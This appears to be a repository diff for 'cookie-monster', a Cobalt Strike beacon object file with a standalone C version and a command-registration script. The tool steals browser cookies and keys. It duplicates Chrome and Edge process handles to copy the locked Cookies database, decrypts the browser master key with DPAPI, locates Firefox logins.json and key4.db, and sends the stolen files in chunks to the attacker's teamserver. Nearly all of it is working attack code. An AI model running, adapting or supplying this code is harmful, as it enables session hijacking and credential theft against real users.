BeaconPrintf(CALLBACK_OUTPUT, "PID %d Does not have handle to cookie", pe32.th32ProcessID);
}
else
{
BeaconPrintf(CALLBACK_OUTPUT, "COPIED COOKIES FROM PID: %d!", pe32.th32ProcessID);
return;
}
}
} while(KERNEL32$Process32Next(hSnap, &pe32));
}
KERNEL32$CloseHandle(hSnap);
//check if process was running
if (processCount == 0) {
//check if file exists
BeaconPrintf(CALLBACK_OUTPUT,"msedge.exe not found running on host\n Downloading cookies directly from \\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies ");
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
if(data == NULL) {
BeaconPrintf(CALLBACK_ERROR,"Edge COOKIES not found on host\n");
return;
}
//save data to file
// HANDLE hFile = KERNEL32$CreateFileA("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// DWORD dwRead = 0;
// KERNEL32$WriteFile(hFile, data, MSVCRT$strlen(data), &dwRead, NULL);
// KERNEL32$CloseHandle(hFile);
download_file("EdgeCookie.db",data, sizeof(data));
KERNEL32$GlobalFree(data);
// print current directory to screen
//CHAR cwd[MAX_PATH];
//KERNEL32$GetCurrentDirectoryA(MAX_PATH, cwd);
//BeaconPrintf(CALLBACK_OUTPUT,"Edge COOKIES saved to %s \n", cwd);
}
}
BOOL GetEdgeDatabase(DWORD PID) {
BeaconPrintf(CALLBACK_OUTPUT,"Edge PID found %d\n", PID);
//SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
DWORD dwSize = 0xffffff / 2;
PSYSTEM_HANDLE_INFORMATION shi;
shi = (SYSTEM_HANDLE_INFORMATION *)KERNEL32$GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
NTSTATUS status;
status = NTDLL$NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
//BeaconPrintf(CALLBACK_OUTPUT,"Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
//BeaconPrintf(CALLBACK_OUTPUT,"PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if( (shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x00000002 && shi->Handles[i].GrantedAccess == 0x0012019f))) {
HANDLE hProc = KERNEL32$OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
BeaconPrintf(CALLBACK_ERROR,"OpenProcess failed %d\n", KERNEL32$GetLastError());
KERNEL32$GlobalFree(shi);
return FALSE;
}
HANDLE hDuplicate = NULL;
if(!KERNEL32$DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, KERNEL32$GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
BeaconPrintf(CALLBACK_ERROR,"DuplicateHandle failed %d\n", KERNEL32$GetLastError());
KERNEL32$GlobalFree(shi);
return FALSE;
}
//get last error
if(KERNEL32$GetLastError() == 87) {
KERNEL32$SetLastError(0);
BeaconPrintf(CALLBACK_ERROR,"Wrong Function Call \n Skipping handle \n");
//KERNEL32$GlobalFree(shi);
continue;
}
FARPROC GetFinalPathNameByHandle = KERNEL32$GetProcAddress(KERNEL32$LoadLibraryA("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
MSVCRT$memset(filename,0, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
//BeaconPrintf(CALLBACK_OUTPUT,"%s\n", filename);
//BeaconPrintf(CALLBACK_OUTPUT,"Length of file name is %d\n", MSVCRT$strlen(filename));
if(firstHandle) {
DWORD dwFilenameSize = MSVCRT$strlen(filename);
CHAR *newFilename = filename + MSVCRT$strlen(filename) - MSVCRT$strlen("Application");
firstHandle = FALSE;
if(MSVCRT$strcmp(newFilename, "Application") == 0) {
//BeaconPrintf(CALLBACK_ERROR,"SKIPPING PID %d\n", PID);
KERNEL32$GlobalFree(shi);
return FALSE;
}
}
if(MSVCRT$strstr(filename, "Cookies") != NULL) {
//BeaconPrintf(CALLBACK_OUTPUT,"COOKIE WAS FOUND\n");
KERNEL32$SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = KERNEL32$GetFileSize(hDuplicate, NULL);
//BeaconPrintf(CALLBACK_OUTPUT,"file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)KERNEL32$GlobalAlloc(GPTR, dwFileSize);
KERNEL32$ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
// HANDLE hFile = KERNEL32$CreateFileA("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
// KERNEL32$WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
//KERNEL32$CloseHandle(hFile);
download_file("EdgeCookie.db",buffer, dwFileSize);
KERNEL32$GlobalFree(buffer);
return TRUE;
}
KERNEL32$CloseHandle(hDuplicate);
}
}
}
}
BeaconPrintf(CALLBACK_ERROR,"NO HANDLE TO COOKIE WAS FOUND \n");
return FALSE;
}
// nanodump fileless download
BOOL download_file( IN LPCSTR fileName, IN char fileData[], IN ULONG32 fileLength)
{
IMPORT_RESOLVE;
int fileNameLength = strnlen(fileName, 256);
// intializes the random number generator
time_t t;
srand((unsigned) time(&t));
// generate a 4 byte random id, rand max value is 0x7fff
ULONG32 fileId = 0;
fileId |= (rand() & 0x7FFF) << 0x11;
fileId |= (rand() & 0x7FFF) << 0x02;
fileId |= (rand() & 0x0003) << 0x00;
// 8 bytes for fileId and fileLength
int messageLength = 8 + fileNameLength;
char* packedData = intAlloc(messageLength);
if (!packedData)
{
BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for the file. Last Error %d", KERNEL32$GetLastError());
return FALSE;
}
// pack on fileId as 4-byte int first
packedData[0] = (fileId >> 0x18) & 0xFF;
packedData[1] = (fileId >> 0x10) & 0xFF;
packedData[2] = (fileId >> 0x08) & 0xFF;
packedData[3] = (fileId >> 0x00) & 0xFF;
// pack on fileLength as 4-byte int second
packedData[4] = (fileLength >> 0x18) & 0xFF;
packedData[5] = (fileLength >> 0x10) & 0xFF;
packedData[6] = (fileLength >> 0x08) & 0xFF;
packedData[7] = (fileLength >> 0x00) & 0xFF;
// pack on the file name last
for (int i = 0; i < fileNameLength; i++)
{
packedData[8 + i] = fileName[i];
}
// tell the teamserver that we want to download a file
BeaconOutput(CALLBACK_FILE,packedData,messageLength);
DATA_FREE(packedData, messageLength);
// we use the same memory region for all chucks
int chunkLength = 4 + CHUNK_SIZE;
char* packedChunk = intAlloc(chunkLength);
if (!packedChunk)
{
BeaconPrintf(CALLBACK_ERROR, "Could not allocate memory for the file. Last Error %d", KERNEL32$GetLastError());
return FALSE;
}
// the fileId is the same for all chunks
packedChunk[0] = (fileId >> 0x18) & 0xFF;
packedChunk[1] = (fileId >> 0x10) & 0xFF;
packedChunk[2] = (fileId >> 0x08) & 0xFF;
packedChunk[3] = (fileId >> 0x00) & 0xFF;
ULONG32 exfiltrated = 0;
while (exfiltrated < fileLength)
{
// send the file content by chunks
chunkLength = fileLength - exfiltrated > CHUNK_SIZE ? CHUNK_SIZE : fileLength - exfiltrated;
ULONG32 chunkIndex = 4;
for (ULONG32 i = exfiltrated; i < exfiltrated + chunkLength; i++)
{
packedChunk[chunkIndex++] = fileData[i];
}
// send a chunk
BeaconOutput(
CALLBACK_FILE_WRITE,
packedChunk,
4 + chunkLength);
exfiltrated += chunkLength;
}
DATA_FREE(packedChunk, chunkLength);
// tell the teamserver that we are done writing to this fileId
char packedClose[4];
packedClose[0] = (fileId >> 0x18) & 0xFF;
packedClose[1] = (fileId >> 0x10) & 0xFF;
packedClose[2] = (fileId >> 0x08) & 0xFF;
packedClose[3] = (fileId >> 0x00) & 0xFF;
BeaconOutput(
CALLBACK_FILE_CLOSE,
packedClose,
4);
BeaconPrintf(CALLBACK_OUTPUT,"The file was downloaded filessly");
return TRUE;
}
VOID go(char *buf, int len) {
//parse command line arguements
datap parser;
int chrome = 1;
int edge = 1;
int firefox = 1;
int chromePID = 1;
int edgePID = 1;
int pid = 1;
BeaconDataParse(&parser, buf, len);
chrome = BeaconDataInt(&parser);
edge = BeaconDataInt(&parser);
firefox = BeaconDataInt(&parser);
chromePID = BeaconDataInt(&parser);
edgePID = BeaconDataInt(&parser);
pid = BeaconDataInt(&parser);
if (chrome == 0 ){
BeaconPrintf(CALLBACK_OUTPUT, "CHROME SELECTED");
GetChromeKey();
GetChromePID();
return;
}
else if (edge == 0 ){
BeaconPrintf(CALLBACK_OUTPUT, "EDGE SELECTED");
GetEdgeKey();
GetEdgePID();
return;
}
else if (firefox == 0 ){
BeaconPrintf(CALLBACK_OUTPUT, "FIREFOX SELECTED");
GetFirefoxInfo();
return;
}
else if (chromePID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "CHROMEPID SELECTED");
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
GetChromeKey();
//GetEdgePID();
GetChromeDatabase(pid);
return;
}
else if (edgePID == 0){
BeaconPrintf(CALLBACK_OUTPUT, "EDGEPID SELECTED");
BeaconPrintf(CALLBACK_OUTPUT, "PID: %d", pid);
GetEdgeKey();
//GetEdgePID();
GetEdgeDatabase(pid);
return;
}
else{
BeaconPrintf(CALLBACK_ERROR,"NOTHING SELECTED");
return;
}
}
+42
View File
@@ -0,0 +1,42 @@
#include <windows.h>
#define SystemHandleInformation 0x10
#define HANDLE_TYPE_FILE 37
#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
//nanodump fileless download
#define CALLBACK_FILE 0x02
#define CALLBACK_FILE_WRITE 0x08
#define CALLBACK_FILE_CLOSE 0x09
// chunk size used in download_file: 900 KiB
#define CHUNK_SIZE 0xe1000
typedef struct _SYSTEM_HANDLE
{
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, SYSTEM_HANDLE_INFORMATION_, * PSYSTEM_HANDLE_INFORMATION_;
typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct __PACKET_HEADER {
DWORD magic;
DWORD type;
CHAR buffer[256];
DWORD dwSize;
} PACKET_HEADER;
enum PacketType {
PACKET_DATA = 1,
PACKET_FILE = 2,
PACKET_CMD = 4
};
+600
View File
@@ -0,0 +1,600 @@
// Code based on mr.un1k0d3r's seasonal videos
#include <windows.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <stdio.h>
#include <wincrypt.h>
#include <tlhelp32.h>
#include "cookie-monster.h"
CHAR *GetCookieFileContent(CHAR *path);
CHAR *ExtractKey(CHAR *buffer);
VOID GetMasterKey(CHAR *key);
VOID GetChromeKey();
VOID GetFirefoxInfo();
VOID GetEdgeKey();
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile);
VOID GetChromeDatabase(DWORD PID);
VOID GetChromePID();
VOID GetEdgeDatabase(DWORD PID);
VOID GetEdgePID();
CHAR *GetCookieFileContent(CHAR *path) {
CHAR appdata[MAX_PATH];
HANDLE hFile = NULL;
//get appdata local path and append path
SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, appdata);
PathAppend(appdata, path);
printf("LOOKING FOR FILE: %s \n", appdata);
//get handle to appdata
hFile = CreateFile(appdata, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
return NULL;
}
CHAR *buffer = NULL;
DWORD dwSize = 0;
DWORD dwRead = 0;
//read cookie file and return as buffer var
dwSize = GetFileSize(hFile, NULL);
buffer = (CHAR*)GlobalAlloc(GPTR, dwSize + 1);
ReadFile(hFile, buffer, dwSize, &dwRead, NULL);
if(dwSize != dwRead) {
printf("file size mismatch.\n");
}
CloseHandle(hFile);
return buffer;
}
CHAR *ExtractKey(CHAR *buffer) {
//look for pattern with key
CHAR pattern[] = "encrypted_key\":\"";
CHAR *start = strstr(buffer, pattern);
CHAR *end = NULL;
CHAR *key = NULL;
DWORD dwSize = 0;
if(start == NULL) {
return NULL;
}
printf("Encrpyted string start at 0x%p buffer start at 0x%p \n", start, buffer);
// calc length of key
start += strlen(pattern);
buffer = start;
end = strstr(buffer, "\"");
if(end == NULL) {
return NULL;
}
dwSize = end - start;
printf("Encrpyted data size is %d\n", dwSize);
//extract key from file
key = (CHAR*)GlobalAlloc(GPTR, dwSize + 1);
strncpy(key, buffer, dwSize);
return key;
}
VOID GetMasterKey(CHAR *key) {
BYTE *byteKey = NULL;
DWORD dwOut = 0;
//calculate size of key
CryptStringToBinary(key, strlen(key), CRYPT_STRING_BASE64, NULL, &dwOut, NULL, NULL);
printf("base64 size needed is %d.\n", dwOut);
//base64 decode key
byteKey = (CHAR*)GlobalAlloc(GPTR, dwOut);
CryptStringToBinary(key, strlen(key), CRYPT_STRING_BASE64, byteKey, &dwOut, NULL, NULL);
byteKey += 5;
DATA_BLOB db;
DATA_BLOB final;
db.pbData = byteKey;
db.cbData = dwOut;
//decrypt key with dpapi for current user
BOOL result = CryptUnprotectData(&db, NULL, NULL, NULL, NULL, 0, &final);
if(!result) {
printf("Decrypting the key failed.\n");
return;
}
// return decrypted key
CHAR *output = (CHAR*)GlobalAlloc(GPTR, (final.cbData * 4) + 1);
DWORD i = 0;
for(i = 0; i < final.cbData; i++) {
sprintf(output, "%s\\x%02x", output, final.pbData[i]);
}
printf("Decrypted Key: %s \n", output );
// rewind to the start of the buffer
GlobalFree(byteKey - 5);
GlobalFree(output);
}
VOID GetChromeKey() {
//get chrome key
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Local State");
CHAR *key = NULL;
if(data == NULL) {
printf("Reading the file failed.\n");
return;
}
key = ExtractKey(data);
GlobalFree(data);
if(key == NULL) {
printf("getting the key failed.\n");
return;
}
GetMasterKey(key);
return;
}
VOID GetEdgeKey() {
//get edge key
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Local State");
CHAR *key = NULL;
if(data == NULL) {
printf("Reading the file failed.\n");
return;
}
key = ExtractKey(data);
GlobalFree(data);
if(key == NULL) {
printf("getting the key failed.\n");
return;
}
GetMasterKey(key);
}
CHAR *GetFirefoxFile(CHAR *file, CHAR* profile){
CHAR *appdata = NULL;
CHAR *tempProfile = NULL;
// create temp var to hold profile
tempProfile = (CHAR*)GlobalAlloc(GPTR, strlen(profile) + 1);
strncpy(tempProfile, profile, strlen(profile)+1);
appdata = (CHAR*)GlobalAlloc(GPTR, MAX_PATH + 1);
//get appdata local path and append path to file
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appdata);
file = strncat(tempProfile, file, strlen(file)+1);
PathAppend(appdata, "\\Mozilla\\Firefox\\Profiles");
PathAppend(appdata, file);
return appdata;
}
VOID GetFirefoxInfo() {
//get firefox key
CHAR appdata[MAX_PATH];
HANDLE hFile = NULL;
//get appdata local path and append path
SHGetFolderPath(NULL, CSIDL_APPDATA, NULL, 0, appdata);
PathAppend(appdata, "\\Mozilla\\Firefox\\profiles.ini");
//get handle to appdata
hFile = CreateFile(appdata, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
printf("File not found at: %s \n", appdata);
printf("Firefox not found on host\n");
return;
}
CHAR *buffer = NULL;
DWORD dwSize = 0;
DWORD dwRead = 0;
//read profiles.ini file and return as buffer var
dwSize = GetFileSize(hFile, NULL);
buffer = (CHAR*)GlobalAlloc(GPTR, dwSize + 1);
ReadFile(hFile, buffer, dwSize, &dwRead, NULL);
if(dwSize != dwRead) {
printf("file size mismatch.\n");
}
CloseHandle(hFile);
//look for pattern Default=Profiles/
CHAR pattern[] = "Default=Profiles/";
CHAR *start = strstr(buffer, pattern);
CHAR *end = NULL;
if(start == NULL) {
return;
}
// calc length of profile
start += strlen(pattern);
buffer = start;
end = strstr(buffer, ".default-release");
if(end == NULL) {
return ;
}
dwSize = end - start;
//printf("Profile size is %d\n", dwSize);
//extract profile from file
CHAR *profile = NULL;
profile = (CHAR*)GlobalAlloc(GPTR, dwSize + 1);
strncpy(profile, buffer, dwSize);
printf("Profile: %s \n", profile );
// get path to logins.json
CHAR *logins = NULL;
logins = GetFirefoxFile(".default-release\\logins.json", profile);
printf("Logins: %s \n", logins );
//check if logins.json exists
hFile = CreateFile(logins, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
printf("File not found at: %s \n", logins);
return;
}
else{
printf("Firefox Stored Credentials found at: %s \n", logins);
//TODO in BOF DOWNLOAD FILE
}
// get path to logins.json
CHAR *database = NULL;
database = GetFirefoxFile(".default-release\\key4.db", profile);
//check if key4.db exists
hFile = CreateFile(database, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
printf("File not found at: %s \n", database);
return;
}
else{
printf("Firefox Database found at: %s \n", database);
//TODO in BOF DOWNLOAD FILE
return;
}
}
VOID GetChromePID() {
//get handle to all processes
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(Process32First(hSnap, &pe32)) {
do {
if(strcmp(pe32.szExeFile, "chrome.exe") == 0)
{
//chrome was found, get cookies database
processCount++;
GetChromeDatabase(pe32.th32ProcessID);
}
} while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
//check if process was running
if (processCount == 0) {
//check if file exists
printf("chrome.exe not found on host\n");
CHAR *data = GetCookieFileContent("\\Google\\Chrome\\User Data\\Default\\Network\\Cookies");
if(data == NULL) {
printf("Chrome COOKIES not found on host\n");
return;
}
//save data to file
HANDLE hFile = CreateFile("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwRead = 0;
WriteFile(hFile, data, strlen(data), &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(data);
// print current directory to screen
CHAR cwd[MAX_PATH];
GetCurrentDirectory(MAX_PATH, cwd);
printf("Chrome COOKIES saved to %s \n", cwd);
}
}
VOID GetChromeDatabase(DWORD PID) {
printf("chrome PID found %d\n", PID);
SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
DWORD dwSize = 0xffffff / 2;
shi = (SYSTEM_HANDLE_INFORMATION *)GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
printf("Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
printf("PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if(shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x2 && shi->Handles[i].GrantedAccess == 0x0012019f)) {
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
printf("OpenProcess failed %d\n", GetLastError());
GlobalFree(shi);
return;
}
HANDLE hDuplicate = NULL;
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
printf("DuplicateHandle failed %d\n", GetLastError());
GlobalFree(shi);
return;
}
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
ZeroMemory(filename, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
printf("%s\n", filename);
if(firstHandle) {
DWORD dwFilenameSize = strlen(filename);
CHAR *newFilename = filename + strlen(filename) - strlen("Application");
firstHandle = FALSE;
if(strcmp(newFilename, "Application") == 0) {
printf("SKIPPING PID %d\n", PID);
GlobalFree(shi);
return;
}
}
if(strstr(filename, "Cookies") != NULL) {
printf("COOKIE WAS FOUND\n");
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
printf("file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
HANDLE hFile = CreateFile("GoogleCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(buffer);
ExitProcess(0);
}
CloseHandle(hDuplicate);
}
}
}
}
printf("NO HANDLE TO COOKIE WAS FOUND \n");
return;
}
VOID GetEdgePID() {
//get handle to all processes
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32;
INT processCount = 0;
pe32.dwSize = sizeof(PROCESSENTRY32);
//iterate through each handle to find chrome.exe
if(Process32First(hSnap, &pe32)) {
do {
if(strcmp(pe32.szExeFile, "msedge.exe") == 0)
{
//edge was found, get cookies database
processCount++;
GetEdgeDatabase(pe32.th32ProcessID);
}
} while(Process32Next(hSnap, &pe32));
}
CloseHandle(hSnap);
//check if process was running
if (processCount == 0) {
//check if file exists
printf("msedge.exe not found on host\n");
CHAR *data = GetCookieFileContent("\\Microsoft\\Edge\\User Data\\Default\\Network\\Cookies");
if(data == NULL) {
printf("Edge COOKIES not found on host\n");
return;
}
//save data to file
HANDLE hFile = CreateFile("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD dwRead = 0;
WriteFile(hFile, data, strlen(data), &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(data);
// print current directory to screen
CHAR cwd[MAX_PATH];
GetCurrentDirectory(MAX_PATH, cwd);
printf("Edge COOKIES saved to %s \n", cwd);
}
}
VOID GetEdgeDatabase(DWORD PID) {
printf("Edge PID found %d\n", PID);
//SYSTEM_HANDLE_INFORMATION *shi = NULL;
DWORD dwNeeded = 0;
NTSTATUS status;
DWORD dwSize = 0xffffff / 2;
//shi = (SYSTEM_HANDLE_INFORMATION *)GlobalAlloc(GPTR, dwSize);
//utilize NtQueryStemInformation to list all handles on system
PSYSTEM_HANDLE_INFORMATION shi;
ULONG handleInfoSize = 0x10000;
shi = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize);
while ((status = NtQuerySystemInformation(
SystemHandleInformation,
shi,
handleInfoSize,
NULL
)) == STATUS_INFO_LENGTH_MISMATCH)
shi = (PSYSTEM_HANDLE_INFORMATION)realloc(shi, handleInfoSize *= 2);
//NTSTATUS status = NtQuerySystemInformation(SystemHandleInformation, shi, dwSize, &dwNeeded);
printf("Handle Count %d\n", shi->NumberOfHandles);
DWORD i = 0;
BOOL firstHandle = TRUE;
//iterate through each handle and find our PID and a handle to a file
for(i = 0; i < shi->NumberOfHandles; i++) {
//check if handle to file
if(shi->Handles[i].ObjectTypeNumber == HANDLE_TYPE_FILE) {
//check if handle is to our PID
if(shi->Handles[i].ProcessId == PID) {
/*
ULONG ProcessId;
UCHAR ObjectTypeNumber;
UCHAR Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
*/
printf("PID %d Flags %08x GrantAccess %08x object %p handle is %p\n", PID, shi->Handles[i].Flags, shi->Handles[i].GrantedAccess, shi->Handles[i].Object, (HANDLE)shi->Handles[i].Handle);
if( (shi->Handles[i].GrantedAccess != 0x001a019f || (shi->Handles[i].Flags != 0x00000002 && shi->Handles[i].GrantedAccess == 0x0012019f))) {
HANDLE hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, PID);
if(hProc == INVALID_HANDLE_VALUE) {
printf("OpenProcess failed %d\n", GetLastError());
GlobalFree(shi);
return;
}
//get last error
//DWORD dwError = NULL;
//dwError = GetLastError();
//printf("Last Error: %d\n", dwError);
HANDLE hDuplicate = NULL;
if(!DuplicateHandle(hProc, (HANDLE)shi->Handles[i].Handle, GetCurrentProcess(), &hDuplicate, 0, TRUE, DUPLICATE_SAME_ACCESS)) {
printf("DuplicateHandle failed %d\n", GetLastError());
GlobalFree(shi);
return;
}
//get last error
DWORD dwError2 = NULL;
dwError2 = GetLastError();
printf("Last Error: %d\n", dwError2);
if(dwError2 == 87) {
SetLastError(0);
printf("Wrong Function Call Somewhere \n");
//GlobalFree(shi);
continue;
}
FARPROC GetFinalPathNameByHandle = GetProcAddress(LoadLibrary("kernel32.dll"), "GetFinalPathNameByHandleA");
CHAR filename[256];
ZeroMemory(filename, 256);
GetFinalPathNameByHandle(hDuplicate, filename, 256, FILE_NAME_NORMALIZED);
printf("%s\n", filename);
printf("Length of file name is %d\n", strlen(filename));
if(firstHandle) {
DWORD dwFilenameSize = strlen(filename);
CHAR *newFilename = filename + strlen(filename) - strlen("Application");
firstHandle = FALSE;
if(strcmp(newFilename, "Application") == 0) {
printf("SKIPPING PID %d\n", PID);
GlobalFree(shi);
return;
}
}
if(strstr(filename, "Cookies") != NULL) {
printf("COOKIE WAS FOUND\n");
SetFilePointer(hDuplicate, 0, 0, FILE_BEGIN);
DWORD dwFileSize = GetFileSize(hDuplicate, NULL);
printf("file size is %d\n", dwFileSize);
DWORD dwRead = 0;
CHAR *buffer = (CHAR*)GlobalAlloc(GPTR, dwFileSize);
ReadFile(hDuplicate, buffer, dwFileSize, &dwRead, NULL);
HANDLE hFile = CreateFile("EdgeCookie.db", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_NEW, FILE_ATTRIBUTE_NORMAL, NULL);
WriteFile(hFile, buffer, dwFileSize, &dwRead, NULL);
CloseHandle(hFile);
GlobalFree(buffer);
ExitProcess(0);
}
CloseHandle(hDuplicate);
}
}
}
}
printf("NO HANDLE TO COOKIE WAS FOUND \n");
return;
}
int main(int argc, char* argv[]) {
//parse command line arguements
if(strcmp(argv[1], "-h") == 0 || strcmp(argv[1], "--help") == 0 || (argc < 1)) {
printf("Usage: %s [--all, --edge --chrome, --firefox] \n", argv[0]);
printf("Cookie Monster Example:\n");
printf(" cookie-monster.exe --all \n");
printf("Cookie Monster Options:\n");
printf(" -h, --help\t\t\t Show this help message and exit\n");
printf(" --all\t\t\t\t Run chrome, edge, and firefox methods\n");
printf(" --edge\t\t\t Extract edge key and download cookies file to PWD\n");
printf(" --chrome\t\t\t Extract chrome key and download cookies file to PWD\n");
printf(" --firefox\t\t\t Locate firefox key and Cookies, does not make a copy of either file\n");
return 0;
}
if(strcmp(argv[1], "--all") == 0){
GetChromeKey();
GetEdgeKey();
GetFirefoxInfo();
GetChromePID();
GetEdgePID();
return 0;
}
if(strcmp(argv[1], "--chrome") == 0){
GetChromeKey();
GetChromePID();
return 0;
}
if(strcmp(argv[1], "--edge") == 0){
GetEdgeKey();
GetEdgePID();
//GetEdgeDatabase(7276);
return 0;
}
if(strcmp(argv[1], "--firefox") == 0){
//TODO: GET FIREFOX KEY
GetFirefoxInfo();
return 0;
}
}
+116
View File
@@ -0,0 +1,116 @@
# Example BOF cookie-monster BOF
# The alias cookie-monster is used to locate and copy the cookie file used for Edge/Chrome/Firefox
# Usage: cookie-monster
#
# Example:
# cookie-monster
#
beacon_command_register(
"cookie-monster",
"Locate and copy the cookie file used for Edge/Chrome/Firefox",
"Usage: cookie-monster [ --chrome || --edge || --firefox || --chromepid <pid> || --edgepid <pid> ] \
cookie-monster Example: \
cookie-monster --chrome \
cookie-monster --edge \
cookie-moster --firefox \
cookie-monster --chromepid 1337 \
cookie-monster --edgepid 4444 \
cookie-monster Options: \
--chrome, looks at all running processes and handles, if one matches chrome.exe it copies the handle to cookies and then copies the file to the CWD \
--edge, looks at all running processes and handles, if one matches msedge.exe it copies the handle to cookies and then copies the file to the CWD \
--firefox, looks for profiles.ini and locates the key4.db and logins.json file \
